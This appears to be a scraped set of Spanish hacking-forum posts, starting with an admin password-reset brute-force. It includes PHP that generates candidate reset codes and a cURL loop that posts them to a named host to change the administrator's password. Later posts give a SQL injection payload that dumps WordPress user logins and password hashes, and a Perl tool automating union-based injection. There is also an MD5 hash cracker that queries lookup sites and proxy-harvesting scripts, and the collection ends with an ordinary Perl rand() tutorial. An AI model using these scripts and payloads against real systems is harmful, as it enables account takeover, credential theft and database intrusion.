Como Son solo Valores Hexadecimales, todos esos Tienen un Valor Numerico.


a=10;
b=11;
c=12;
d=13;
e=14;
f=15;


Por lo Cual e88a33ebd3 Si lo Descuartizamos, Seria

14+8+8+10+3+3+14+11+13+3 = 87 ¡


Por lo Cual Dije Uhm¡¡¡¡ Tengo mi Primer patron¡

Todos los Codigos Equivalen a su valor Numerico, Por lo Cual, si veo cual se Repite mas dentro de unas Determinadas Peticiones podria Obtener el Codigo Valido¡

Obtuve mil Codigos Validos , Para Obtener Algun patron y lo Que Obtuve fue que Habia un rango de Numeros que se Repetia Bastante, 70-79

Agrupe todos los Codigos en Secciones de 10

Citare1d8e03d21 69
1d2613c7fa 70
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86
e88a33ebd3 87
204c05b93b 57
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86

Citar67074ecc6a 78
5b43ba896d 80
9c1a28d22d 72
24cba618c5 71
a22b423ee8 70
14f1cd9a80 73
311432ef28 53
b878399cf4 86
f5811f35ed 80
481abc32d6 70

En Conclusion, Cada 10 Peticiones Existen "SIEMPRE" Valores que Rodean 70-79

Ahora Bien para Comprovar Esto, Sume todos los Valores Que dan los Codigos, y Saque el Promedio, el Cual Magicamente Resulto en 75


Nuevamente Concluimos, Si Hacemos 10 Peticiones, y Provamos Con todas las combinaciones Posibles que den una Suma entre 70-79, o Cada 20 o 30 Peticiones de Mails, Provamos con las combinaciones posibles que sumen 75.


Por lo Cual Existira la Posibilidad, de que Obtengamos el Codigo que Genero el Server para Resetear el  Codigo del Administrador.


¿Entonces que nececitamos?

Si Deseamos Todas las Posibilidades, Tenemos que Obtener todas las combinaciones Posibles que Sumen 75, y hacer de 15 a 20 o 30 peticiones de Mail.

Codigo Que Genera  Numeros que Su Suma Sea el Valor que Nosotros queramos (echo make_code(75))


function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
}
}while(suma($var) != $limit);
return $var;
}



Scripts Para Generar 2000 Codigos Que Sumen 75:


<?
function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
$var = substr($code,$x,1);
if (!is_numeric($var)){
$suma +=hexdec($var);
}else{
$suma +=$var;
}
}
return $suma;
}

function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
}
}while(suma($var) != $limit);
return $var;
}
################################################
$myFile = "db3.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
$code = array("");
$rep = array("");
for ($x=1;$x<=20000;$x++){
$var = make_code(75);
if (!in_array ($var, $code)){
echo $x." : ".$var."\n";
$code[] = $var;
fwrite($fh, $var."\n");
}else{
echo "ERROR :> ".$var."\n";
$rep[]=$var;
}
}
fclose($fh);
echo count($code)."\n";
echo count($rep)."\n";
?>


Ahora bien en esta Parte fue en donde REMARCO CON ROJO RESET ADMIN PASSWORD TEORIA
Obtuve una Cantidad de casi 10.000 Codigos Que suman 75 sin ningun repetido¡, por lo cual si realizamos nuestra "Conclusión", serian 10.000.00 Peticiones y como Minimo ¡ Porque no Sabemos Cuantas combinaciones mas Podria Generar la Suma Solamente de 75¡.

Pero es Mucho Menor que el billon de posibilidades que daba un hexadecimal de 10 digitos.

Talves Sea Posible Pero es mas posible que Dosee Primero el Servidor, Que Obtener Algun Resultado

Codigo Que con una Base de Datos Comprueba Si el Codigo es Valido:


<?
function POST($code){
$curl = curl_init();

$url = "http://password.esp.am/index.php?action=reminder;sa=setpassword2 ";
$post = "passwrd1=12345&passwrd2=12345&code=".$code."&u=1&sc=022add0f601aa2f12569aa6ad95fe1bd";

$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
$result= curl_exec ($curl);
curl_close ($curl);

if (preg_match("/<b>Password successfully set<\/b>/", $result)) {
echo "PassWord Cambiada ".$code."\n";
}else{
echo "ERROR\n";
}

}

$code = file("db2.txt");
foreach ($code as $value){
POST($value);
}

?>




donde db2.txt, es el txt con todas las combinaciones, claramente se puede utilizar mysql.


Testie Por Ultimo 30 Codigos que yo se que eran invalidos y 1 codigo valido y para mi sorpresa, sep, Funciona, Nada mas jawjawjaj Tendremos que Obtener el Codigo Valido.



Recalco Es Teoria, pero me entretuve bastante


Saludos¡
OzX
www.undersecurity.net
#8
Hi¡
Bueno, al grano
Tengo una web que tiene muchas base de datos (gracias a information schema schemata).
Llamemosla

db1
db2
db3
db4

La web trabaja con al db1, por lo cual si yo hago algun

union+select+all+1,2,campo_que_no_existe,3+from+tabla.

me saldria
Table 'db1.campo_que_no_existe' doesn't exist


Ahora bien yo tengo las tablas y los campos de todas las base de datos, gracias al information schema (again XD').

Pero si yo intento hacer una consulta me dice que no existe la tabla ni el campo ni nada, pues claro estoy intentando hacer una peticion a la db2, pero esta por defecto las hace a las db1.


ahora bien leyendo y preguntando, descrubri el "USE DB", que sirve para selecionar una base de datos y luego hacer la consulta.

http://dev.mysql.com/doc/refman/5.0/es/use.html

Por EJ
mysql> USE db1;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db1.mytable
mysql> USE db2;
mysql> SELECT COUNT(*) FROM mytable;   # selects from db2.mytable



MI Problema es¡¡¡

¿Como C"·$%&/? Combino la Sentencia USE en una Inyeccion SQL?


Asi no Funciona (Aunque Cambie el valor de la db a char o hexsql o dejo asi para que se entienda mejor)
and+1=0+union+select+all+1,2,3+from+wp_users+use+wordpress_cri

o... tampoco
and+1=0++use+wordpress_cri+and+union+select+all+1,2,3+from+wp_users


Espero que me puedan Ayudar :D

Saludos¡
OzX¡

concat(user_login,user_pass) <= CAMPOS
wordpres.cri <= db
wp_users <= tabla de la db
EDITADO LO LOGRE¡
+and+1=0+union+select+all+1,2,3,concat(user_login,user_pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wordpress_cri.wp_users

:d



#9
Hi.
Lo que hace es Extraer la Informacion de database(), user(), y version() de la mysql, sin la nececidad de indicar en que parte mostrar los datos.

En realidad es una Funcion de una Tool para Injecciones SQL que estoy haciendo, y me parecio interesante compartirla.

Comunmente, en las tools de SQL, se tiene que indicar en donde injectar la Informacion por Ej.

.../noticias.php?id=1+and+1=0+1,2,3,4,AQUI,5,6,7

Lo cual este Script Hace, es encontrar ese "numero" de los campos, automaticamente para luego buscar la informacion.

SAludos¡



use LWP::UserAgent;

use HTTP::Request::Common;

#by OzX [NuKe/NB/UnderSecurity]
#DataExtract
#Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version.
$browser = LWP::UserAgent->new();

$browser->timeout(10);

$browser->default_header(

"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",

"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",

"Referer" => "http://www.google.com"

);


use constant URL => $ARGV[0]; #Constante URL.

unless ($ARGV[0]) {
print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n";
print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n";
print "\n";
   exit 0;
}

($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5..
($db,$user,$version) = detalles_bd($sql_num);


print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";


#Funcion Que Obtiene la Informacion de la Base de Datos
sub detalles_bd{
$_[0] = sql_num($sql_num);
$vars = numero($sql_num);
$string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)';
$sql_num =~s/$vars/$string_datos_db/;
$url = $uri."+".$sql_num;
$source = GETS($url);
($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g;
return ($db,$user,$version);
}

#Funcion para Evitar Problemas XD¡.
sub sql_num{
$num_total = split(",",$_[0]);
for ($x=1;$x<=$num_total;$x++){
$sql_num_correcto = $sql_num_correcto."$x,";
}
chop($sql_num_correcto);
return $sql_num_correcto;
}

#Funcion para Obtener los Numeros De la Inyeccion Base
sub numero{
local $sql_num = $_[0];
$sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0.
for ($x=1;$x<=$sql_num;$x++){
$url_hex = $url_hex.hex_sql("USNB$x").",";
}
chop($url_hex); #Eliminamos la Ultima ,
$url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL
$source_url_hex = GETS($url_inject);#SOURCE
( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES
$vars =  @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$
return $vars;
}

#Funcion GETS
sub GETS{
return  $browser->request(GET $_[0])->content;
}
#Funcion Hex_SQL
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}


#10
Scripting / MultiCracker 0.1 MD5
5 Septiembre 2008, 01:40 AM
MultiCracker Md5 0.1
http://www.nullbytes.net/multicracker-md5-01/

Dentro del Marco del Hacking, muchas veces nos encontramos con hash en md5 que deseamos descifrar, y vamos a las Web mas conocidas en busca si existe en sus bases de datos la contraseña en cuestión.

Y como siempre es bueno ahorrar tiempo, desarrolle una tool que busca en las 6 Web que mejor resultados me dieron.

http://www.hashfind.info
http://md5decrypter.com
http://gdataonline.com
http://md5.hashcracking.com
http://milw0rm.com
http://md5search.org






Código (perl) [Seleccionar]
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies;

# By OzX NULLBYTES.net
### BASE DE LAS PETICIONES ##############################################################################################
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->default_header(

"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Referer" => "http://www.google.com"
);

#################################################################FUNCION GET Y POST
sub GETS{@code = split("\n",$content = $browser->request(GET $_[0])->content);return @code;}
sub POSTS{@code = split("\n",$content = $browser->request(POST $_[0], [%{$_[1]}])->content);return @code};
###############################################################################
$hash = $ARGV[0];
unless ($ARGV[0]) {
print "MULTICRACKER 0.1 BY OZX www.nullbytes.net \nCrackNB.pl <hash>\n";
print "CrackNB.pl 202cb962ac59075b964b07152d234b70\n\n";
   exit 0;
}
########################################################
%webs = ('0' => "http://md5decrypter.com",
'1' => "http://gdataonline.com",
'2' => "http://md5.hashcracking.com",
'3' => "http://milw0rm.com",
'4' => "http://md5search.org",);

###PETICIONES ####################################
if ($hash =~/\w{32}/){
hashfind($hash);
for($i=0;$i<5;$i++){
$pid = fork();

if( $pid == 0 ){
      print $webs{$i}.":> ".md5($i)."\n";
   exit 0;
                }
                            }
}else{
print "[+] HASH INVALIDO\n";
exit;
}
#################################################
#LA WEB http://www.hashfind.info TIENE UN SISTEMA BASADO EN COOKIES PARA MOSTRAR EL HASH ,
#ES POR ELLO QUE NO PUDE IMPLEMENTARLO DENTRO DE  LAS OTRAS FUNCIONES
# TAMBIEN TAMPOCO PUDE IMPLEMENTARLO DENTRO DEL FORK.
sub hashfind{
$hash = $_[0];
###  COOKIE PARA http://www.hashfind.info <=  ¬¬
$browser->cookie_jar(HTTP::Cookies->new(file => "cookie_hash.txt", autosave => 1));
@code = POSTS("http://www.hashfind.info/",{hash => $hash, button => Search});
@codex = GETS("http://www.hashfind.info/get.php?type=0 ");
print "http://www.hashfind.info :> @codex\n";
}

sub md5{
$id=$_[0];
$cracker[0]= crack_post($webs{$id},{hash => $hash, submit => Decrypt%21 },$hash,'.*Normal.*<\/b>','.*this hash wasn.*') ;
$cracker[1]= crack_get($webs{$id}."/qkhash.php?mode=txt&hash=",$hash,'.*><b>','<\/b><.*','.*\?',"<\/td><\/tr>");
$cracker[2]= crack_get($webs{$id}."/search.php?md5=",$hash,".*is ");
$cracker[3]= crack_post($webs{$id}."/cracker/search.php",{hash => $hash, Submit => Submit },$hash,"<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked.*",".*<TR class=\"submit\">.*nowrap=\"nowrap\" width=90>");
$cracker[4]= crack_post($webs{$id}."/index.php",{hash => $hash , server => all ,token => md5s , tryb => search, submit =>MD5Search%28%29},"<font.*size=\"-1\">.*nbsp",".*class=\"wyniksz\">","<\/font><\/td><\/tr><\/table><\/td><\/tr><\/table>.*p>","<\/font><\/td><\/tr>");

return $cracker[$id];
}

sub crack_post{
($url,$data,$match,@reg1) = @_;
@code = POSTS($url,$data);
for $linea (@code){
if ($linea=~/$match/i){
for $reg (@reg1){
$linea=~s/$reg//;
}

return $linea;
}

}
}

sub crack_get{
($url,$hash,@reg1) = @_;
@code = GETS($url.$hash);
for $linea (@code){
if ($linea=~/$hash/i){
for $reg (@reg1){
$linea=~s/$reg//;

}
return $linea;
}
}
}


Ideas Sugerencias :D Bienvenidas
www.nullbytes.net¡
http://www.nullbytes.net/multicracker-md5-01/
#11
Siempre es mas que útil tener una lista bastante extensa de Proxy para poder utilizar en distintas herramientas que estemos desarrollando, es por ello que desarrolle un script escrito en Perl el cual extrae todas los Proxy desde http://www.proxy-list.net/ , y los guarda en un archivo txt lista_proxy.txt.

Optimizado con fork().
Elimina Repetidos.

Código (perl) [Seleccionar]
use LWP::UserAgent;
use HTTP::Request;
#Proxt-List.Net Extract 0.1
# By OzX NULLBYTES.NET Extractor de Proxy  DESDE http://www.proxy-list.net
#THANX ALL NULLBYTES.NET STAFF

@regexp = ('.*shtml\?','\"><font.*');
sub extract{
$index = $_[0];
$match = $_[1];
foreach $linea (get($index)){
if ($linea=~m/$match/i){
foreach $regexp (@regexp){$linea=~s/$regexp//;}
push (@links,"http://www.proxy-list.net/ShowList.pl?".$linea."\n");
}

}
return @links;
}
################################################################
################################################################
#EXTRAIGO TODAS LAS IP | DIRECION PRINCIPAL, MATCH DE BUSQUEDA DE LINKS, MATCH DE BUSQUEDA DE IP.
@links= extract('http://www.proxy-list.net/fresh-proxy-lists.shtml','show-proxy-lists\.shtml\?\w{1,30}');
$total = scalar(@links);
#################################################################
syswrite STDOUT , "[+] Total de Links A Visitar $total \n [+] CRAWLING ....\n";
open (IP,">PROXY.TXT");
for($i=1;$i<$total;$i++){
$pid = fork();
if( $pid == 0 ){
@ip = ip($links[$i]);
syswrite STDOUT ,"[+] CRAW => $links[$i]";
print IP @ip;

exit 0;
                }
                            }
close(IP);
#######################################################
open(PROXY,"PROXY.txt"); @proxy=<PROXY>;close (PROXY);
########Eliminando Repetidos
foreach my $parte ( @proxy ) {
     next if $ya_visto{ $parte }++;
     push @ip, $parte;
}
#############################################################

open (IP,">lista_proxy.txt"); print IP @ip; close(IP);

###########################SUB #############################
sub ip{
$link = $_[0];
@codigo = get($link);
foreach $ip (@codigo){
if ($ip=~m/\d+.\d+\.\d+\.\d+:\d+/){
push (@ip,$ip."\n");
}
}
return @ip;
}
##################################################################
sub get{
$url=$_[0];
####UserAgent###############
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->default_header(
"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Referer" => "http://www.proxy-list.net/fresh-proxy-lists.shtml"
);
###Petcion GET################################
$request = HTTP::Request->new(GET => $url);
$response = $browser->request($request);
$contents = $response->as_string;
#######Respuesta##################
@code = split("\n",$contents);
return @code;
}



Citar143.248.139.171:3124
62.149.67.49:8080
62.149.112.38:8080
62.149.112.33:8080
213.253.169.130:808
208.117.131.115:3124
204.85.191.10:3124
204.8.155.226:3128
200.19.159.34:3124
194.36.10.154:3127
193.136.191.26:3128
193.136.191.25:3128
192.33.90.67:3124
192.33.210.16:3124
169.229.50.7:3124
169.229.50.5:3127
164.107.127.13:3124
164.107.127.12:3127
155.98.35.6:3128
155.246.12.164:3124
152.3.138.3:3127
141.76.45.17:3124
141.13.16.201:3127
136.145.115.196:3124
132.252.152.193:3128
132.239.17.226:3128
132.239.17.224:3124
131.247.2.242:3124
129.174.79.249:3124
128.8.126.111:3128
128.6.192.158:3127
128.223.8.112:3127
128.208.4.99:3124
128.208.4.199:3128
128.208.4.198:3127
128.2.223.63:3127
128.112.139.75:3127
194.36.10.156:3127
130.192.157.132:3128
130.92.70.252:3128
132.252.152.194:3127
134.34.246.4:3124
134.76.81.91:3124
136.145.115.196:3128
138.23.204.232:3124
141.24.33.162:3124
152.3.138.4:3124
160.94.220.241:3127
169.229.50.11:3127
169.229.50.5:3128
169.229.50.16:3127
128.113.226.235:3124
128.223.8.112:3128
128.233.252.11:3124
128.4.36.12:3124
129.59.88.180:3124
130.192.157.131:3124
192.33.90.195:3128
192.33.90.66:3128
192.33.90.67:3127
192.42.43.23:3127
133.1.74.162:3124
141.76.45.18:3128
142.150.238.12:3124
152.3.138.1:3124
193.55.112.41:3128
165.230.49.115:3128
169.229.50.10:3124
195.130.121.204:3128
198.82.160.220:3124
200.132.0.70:3127
200.19.159.34:3127
147.102.3.101:3128
128.111.52.61:3128
128.252.19.20:3124
128.163.142.20:3128
152.3.138.5:3128
128.163.142.21:3127
128.195.54.161:3128
130.75.87.83:3124
131.246.191.42:3127
133.1.74.163:3127
138.23.204.133:3124
169.229.50.15:3128
192.33.210.16:3128
193.136.227.163:3127
131.247.2.241:3124
128.135.11.152:3124
128.113.226.236:3127
128.208.4.197:3127
128.208.4.198:3128
137.226.138.156:3124
193.167.187.188:3127
128.252.19.22:3127
129.69.210.96:3127
141.24.249.130:3128
155.98.35.3:3128
155.98.35.6:3127
169.229.50.14:3124
192.197.121.3:3128
129.186.205.77:3124
130.75.87.84:3124
132.187.230.1:3124
136.145.115.194:3124
137.226.138.154:3124
204.8.155.227:3128
156.17.10.52:3128
142.150.238.13:3128
137.99.11.87:3127
198.82.160.220:3128
136.145.115.194:3128
149.169.227.129:3124
155.225.2.72:3128
169.229.50.15:3127
61.110.143.2:808
61.145.121.124:847
64.34.173.112:8888
165.193.47.39:80
192.54.45.201:8000
200.62.15.67:8080
202.75.144.62:8080
202.108.28.23:8080
203.158.221.226:443
216.191.142.125:80
218.27.148.66:8080
219.159.67.187:808
129.174.79.249:3128
128.112.139.80:3128
131.247.2.242:3127
72.36.112.71:3124
128.223.8.111:3127
129.10.120.193:3127
155.246.12.163:3127
169.229.50.14:3128
169.229.50.6:3128
169.229.50.9:3124
169.229.50.15:3124
169.229.50.7:3128
72.36.112.74:3128
128.59.20.228:3124
208.117.131.115:3128
165.91.83.22:3124
169.229.50.13:3127
129.74.74.16:3124
164.107.127.12:3128
128.151.65.101:3127
128.187.223.212:3127
128.238.88.64:3128
128.31.1.12:3128
128.4.36.11:3127
129.186.205.71:3128
129.186.205.77:3128
129.24.211.26:3128
152.15.98.226:3124
152.3.138.2:3124
128.112.139.73:3124
128.112.139.78:3124
204.56.0.137:3128
206.207.248.34:3124
128.8.126.112:3124
131.247.2.241:3128
128.59.20.227:3128
66.27.206.26:6406
138.238.250.157:3124
129.24.211.25:3128
155.225.2.72:3124
72.36.112.72:3127
204.85.191.10:3128
204.85.191.11:3128
156.17.10.52:3127
141.24.33.192:3127
147.102.3.102:3124
129.59.88.180:3128
160.94.220.241:3124
198.82.160.221:3128
128.8.126.111:3127
200.132.0.70:3128
128.232.103.202:3128
203.177.193.102:3128
193.136.227.163:3124
164.73.47.244:3128
138.246.99.250:3124
192.33.90.67:3128
143.215.129.117:3128
134.76.81.92:3124
132.68.237.36:3124
198.82.160.220:3127
131.175.17.10:3128
192.41.135.218:3128
131.247.2.241:3127
194.29.178.13:3124
155.246.12.163:3124
212.24.238.155:80
201.95.124.101:6588
201.68.4.187:6588
200.207.47.209:6588
200.161.108.144:6588
189.53.70.22:6588
189.19.195.251:8080
118.175.255.10:80
87.23.22.9:8080
85.172.120.214:3128
77.247.209.19:3128
72.55.191.6:3128
68.167.209.90:8000
189.3.11.12:8080
62.149.112.37:8080
80.63.1.213:80
82.5.185.111:7212
80.86.200.172:6649
24.188.58.1:8800
128.2.223.63:3128
128.6.192.156:3127
128.59.20.228:3128
143.215.129.117:3124
129.74.74.16:3128
128.187.223.212:3124
194.36.10.154:3128
128.232.103.201:3124
128.232.103.203:3128
192.33.90.68:3128
192.33.90.69:3127
192.42.43.22:3128
130.92.70.251:3128
192.33.90.196:3127
192.33.90.195:3127
192.42.43.23:3124
193.136.191.26:3127
193.136.191.25:3127
195.116.60.34:3124
156.17.10.51:3127
130.37.198.243:3127
163.221.11.73:3124
133.1.74.162:3128
130.136.254.21:3127
131.175.17.9:3128
195.130.121.205:3128
147.102.3.102:3127
137.226.138.154:3128
132.252.152.193:3124
141.24.33.192:3128
129.69.210.97:3128
137.226.138.156:3128
141.76.45.18:3127
129.69.210.96:3128
141.24.33.161:3124
138.246.99.249:3128
141.24.33.162:3128
213.205.99.185:80
213.205.99.182:80
213.205.99.181:80
193.167.182.130:3127
193.167.187.188:3128
121.14.139.147:8088
142.150.238.12:3128
192.197.121.3:3124
198.163.152.230:3127
200.132.0.70:3124
143.107.111.195:3124
200.207.88.222:6588
128.232.103.203:3124
169.229.50.8:3128
128.4.36.12:3128
128.4.36.11:3128
128.208.4.197:3128
128.252.19.21:3128
206.117.37.4:3128
206.207.248.34:3128
128.135.11.152:3128
142.150.238.13:3124
129.59.88.179:3128
164.73.47.242:3128
123.243.252.73:80
210.19.71.89:80
204.8.155.227:3127
129.24.211.26:3124
194.117.20.214:3128
164.107.127.13:3127
132.187.230.1:3127
81.192.52.62:80
218.139.64.79:8080
195.130.121.204:3127
195.113.161.83:3127
193.136.227.163:3128
192.42.43.22:3127
169.229.50.10:3127
165.230.49.115:3124
160.94.220.241:3128
141.24.249.130:3124
129.41.69.20:80
128.59.20.227:3124
128.192.101.218:3128
128.187.223.211:3127
128.163.142.20:3124
128.112.139.97:3128
202.105.182.87:808
129.59.88.179:3124
152.3.138.5:3124
193.174.67.186:3128
138.23.204.232:3127
152.3.138.2:3127
169.229.50.10:3128
138.23.204.133:3128
128.187.223.211:3128
132.239.17.225:3124
128.223.8.111:3128
128.59.20.226:3128
152.3.138.4:3128
72.36.112.71:3128
122.169.241.78:6409
203.121.133.124:80
61.144.217.173:80
155.98.35.5:3128
164.107.127.12:3124
128.192.101.217:3128
125.46.34.52:8088
193.251.181.135:8080
134.34.246.5:3124
193.167.187.187:3127
128.232.103.202:3124
128.232.103.201:3128
129.24.211.25:3124
204.56.0.137:3124
128.252.19.21:3127
128.238.88.64:3127
62.38.189.214:8080


Saludos¡

Ideas¡ Dudas¡ Nuevas FOrmas, etc
COmentar¡

www.nullbytes.net¡
http://www.nullbytes.net/extractor-de-proxy-desde-httpwwwproxy-listnet/
#12
Extrae los Proxy, los Comprueba que esten "vivos", y los Guarda en un Txt.


Código (python) [Seleccionar]


#Extractor Proxy http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml #OzX NB Labs
# Thanx NB STAFF


import urllib2, sys, re, httplib, socket

socket.setdefaulttimeout(20)

peticion='www.digitalcybersoft.com'
path = '/ProxyList/fresh-proxy-list.shtml'




headers = {

"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Connection": "keep-alive"

}


conn = httplib.HTTPConnection(peticion)
conn.request("GET", path,None,headers)
r1 = conn.getresponse()
data1 = r1.read()
conn.close()
ip = re.compile ('\d+\.\d+\.\d+\.\d+:\d{1,4}')



proxys = ip.findall(data1)
file_proxy = open("proxys.txt", "w")


for proxy in proxys:
try:
if proxy != "None":
print "\n[+] Testing Proxy..."
h2 = httplib.HTTPConnection(proxy)
h2.connect()
print "[+] Proxy:",proxy,"[OK]"
file_proxy.write(proxy+"\n")
except(socket.timeout):
print "\n[-] Proxy Timed Out"
sys.exit(1)
except:
print "\n[-] Proxy Failed"
sys.exit(1)

file_proxy.close()
#13
La Funcion rand Es Ocupada para generar Numeros Aleatoreos, y asi tambien poder generar caracteres aleatoreos previamente declarados.

rand num

Por Default (o Por Defecto) la Funcion Si no es Declarada el valor "num" Entregara Valores entre 0 y 1. (Emplearemos un For Para Repetir el Procedimiento 10 veces para hacer notar la funcion )

#!/usr/bin/perl <new-bytes.net>
for ($x=0;$x<=10;$x++){
$rand= (rand);
print "$rand\n";
}
Resultado:

CitarC:\Documents and Settings\Administrador\Escritorio\Perl Example>rand.pl
0.14404296875
0.146453857421875
0.6453857421875
0.147125244140625
0.595123291015625
0.045440673828125
0.850067138671875
0.8536376953125
0.437652587890625
0.86004638671875
0.694091796875
Declarando el Valor Num.

#!/usr/bin/perl <new-bytes.net>
for ($x=0;$x<=10;$x++){
$rand= (rand(10));
print "$rand\n";
}


Resultado:
Citar
C:\Documents and Settings\Administrador\Escritorio\Perl Example>rand.pl
8.53668212890625
6.02081298828125
3.3087158203125
5.16754150390625
4.58984375
7.8265380859375
9.10797119140625
0.7781982421875
8.75030517578125
2.305908203125
4.96124267578125
Ahora Bien que pasa si no Queremos Numeros Decimales Sino mas Bien Numeros Enteros?

int (rand(10))

Int: Quiere Decir Entero.

#!/usr/bin/perl <new-bytes.net>
for ($x=0;$x<=10;$x++){
$rand= int(rand(10));
print "$rand\n";
}
Resultado:

CitarC:\Documents and Settings\Administrador\Escritorio\Perl Example>rand.pl
6
8
9
7
8
5
8
9
0
7
4
Pero Que Pasa si quiero Generar Numeros Aleatoreos Entre Dos Valores?. Por Ejemplos Numeros Entre 15 y 20 ?

#!/usr/bin/perl <new-bytes.net>
for ($x=0;$x<=10;$x++){
$rand= int(rand(15)) + 5;
print "$rand\n";
}

Resultado:

CitarC:\Documents and Settings\Administrador\Escritorio\Perl Example>rand.pl
13
7
11
15
9
18
19
8
14
19
17
Algo que me Gustaria Aclarar, Si tu Quieres un Random Entre por ej 200 y 250.
$rand= int(rand(200)) + 50;
Entre 30 y 40
$rand= int(rand(30)) + 10;
Entre 500 y 1200
$rand= int(rand(500)) + 600;

No Se deve Ingresar el Numero Inicial y el Final, Sino Mas Bien lo que le Falta al Valor de num para llegar al otro parametro.
500+600= 1200.
Por Ende Generara Numeros Entre 500 y 1200.


Generar Caracteres Aleatoreos.

Citar#!/usr/bin/perl <new-bytes.net>
@caracteres = qw (a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z  @ < > ¡ ? ¿ ~);

for ($x=0;$x<=10;$x++){

$rand = int(rand( @caracteres));
$caracter_rand = $caracteres[$rand];
print "$caracter_rand\n";

}
Resultado:

CitarC:\Documents and Settings\Administrador\Escritorio\Perl Example>rand.pl
w
q
H
?
R
a
z
B
l

G
Ahora Veamos Por Parte:

Citar@caracteres = qw (a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z  @ < > ¡ ? ¿ ~);
Matriz o array llamada Caracteres, en donde puede contener en si multiples datos, con los parametros qw hacemos que los datos sean tomados por separado por espacios, porque si no tuviera esos dos parametros tendria que separar cada dato por una coma. y se hace algo lioso.

Citarfor ($x=0;$x<=10;$x++){
Ciclo For Empieza en 0 y Termina en 10, En Cada Pasada Se va Sumando 1.

Citar$rand = int(rand( @caracteres));
$caracter_rand = $caracteres[$rand];
la variable $rand recorre todo el array y cuenta cuantos datos tiene el array, luego de eso seleciona entre 0 y el la cantidad total de datos del array un numero al azar. y la guarda.

Luego $caracter_rand , contiene la variable $caracteres que esta relacionada con el array  @caractereres.. Me detendre un Momento para Explicar Algo QUe esta dentro de los Conceptos Basico pero Nunca esta demas Volvera a Explicarlo .

Por Ej Tenemos

Citar
@letras = qw (uno dos tres cuatro cinco seis);
Ahora como Puedo Llamar o imprimir en pantalla el cuarto valor? (Ojo cuarto valor no el valor que dice cuatro¡)

Citar
$letras[4];
Resultado:

Citarcinco
Porque? Porque los Arrays Empiezan Desde 0.

0=uno
1=dos
3=tres
4=cuatro
5=cinco
6=seis

Ya teniendo ese Concepto Claro, Volvamos con los Random.


$caracter_rand = $caracteres[$rand];

